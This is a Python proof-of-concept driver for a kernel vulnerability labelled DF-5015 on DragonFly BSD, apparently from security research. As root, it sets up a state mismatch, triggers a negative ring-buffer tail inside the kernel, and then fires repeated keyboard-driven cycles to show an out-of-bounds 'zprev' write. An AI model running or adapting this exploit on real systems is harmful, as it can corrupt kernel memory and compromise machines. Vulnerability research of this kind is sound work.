#!/usr/bin/env python3
"""DF-5015 round 6: patient squeeze descent -> flipwatch self-freeze ->
in-kernel negative tail -> fire -> zprev write proof."""
import sys, time
sys.path.insert(0, '/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
import os
os.chdir('/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015')
from drive import Mon, run_root, Slk

def state():
    return run_root("sysctl -n hw.df5015", timeout=45)

m = Mon()
slk = Slk(m, vty=0)

print("== arm + flipwatch ==")
run_root("rm -f /tmp/DF5015_STOP /tmp/DF5015_FROZEN")
run_root("/tmp/df5015 flip 1 0 1500")
print(run_root("/tmp/df5015 arm"))
print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & "))
run_root("/tmp/df5015 flipwatch 100000 400 30 >/tmp/flip.log 2>&1 &")

print("== squeeze descent (root setup; be patient) ==")
run_root("/tmp/squeeze 30000 >/tmp/squeeze.log 2>&1 &")
holding = False
for i in range(60):
    time.sleep(10)
    out = run_root("cat /tmp/squeeze.log 2>/dev/null; tail -1 /tmp/flip.log 2>/dev/null",
                   timeout=30)
    print(f"[{i}] {out.strip()[:160]}")
    if "holding" in out:
        holding = True
    if holding and ("MISMATCH" in out or "flipwatch" in out):
        break
    if "MISMATCH" in out:
        break

print("== state ==")
st = state()
print(st)
if "size=2000" not in st or "ysize=60" not in st:
    print("NOT FROZEN IN MISMATCH -- abort")
    run_root("kill $(pgrep -f 'squeeze') 2>/dev/null; true")
    sys.exit(1)

print("== arm negative tail ==")
slk.set(True)
m.key("home")
slk.set(False)
time.sleep(0.4)
st = state()
print(st)
if "tail=-" in st:
    print("*** NEGATIVE RING TAIL OBSERVED IN-KERNEL ***")

print("== fill + fire ==")
run_root("/tmp/df5015 fill 0 Z 70", timeout=60)
print("baseline:", state())
for i in range(20):
    slk.set(True)
    m.key("home")
    slk.set(False)
    if i % 4 == 0:
        print(f"cycle {i}: {state()}")
print("final:", state())
print(run_root("echo alive", timeout=30))
run_root("kill $(pgrep -f squeeze) 2>/dev/null; true")
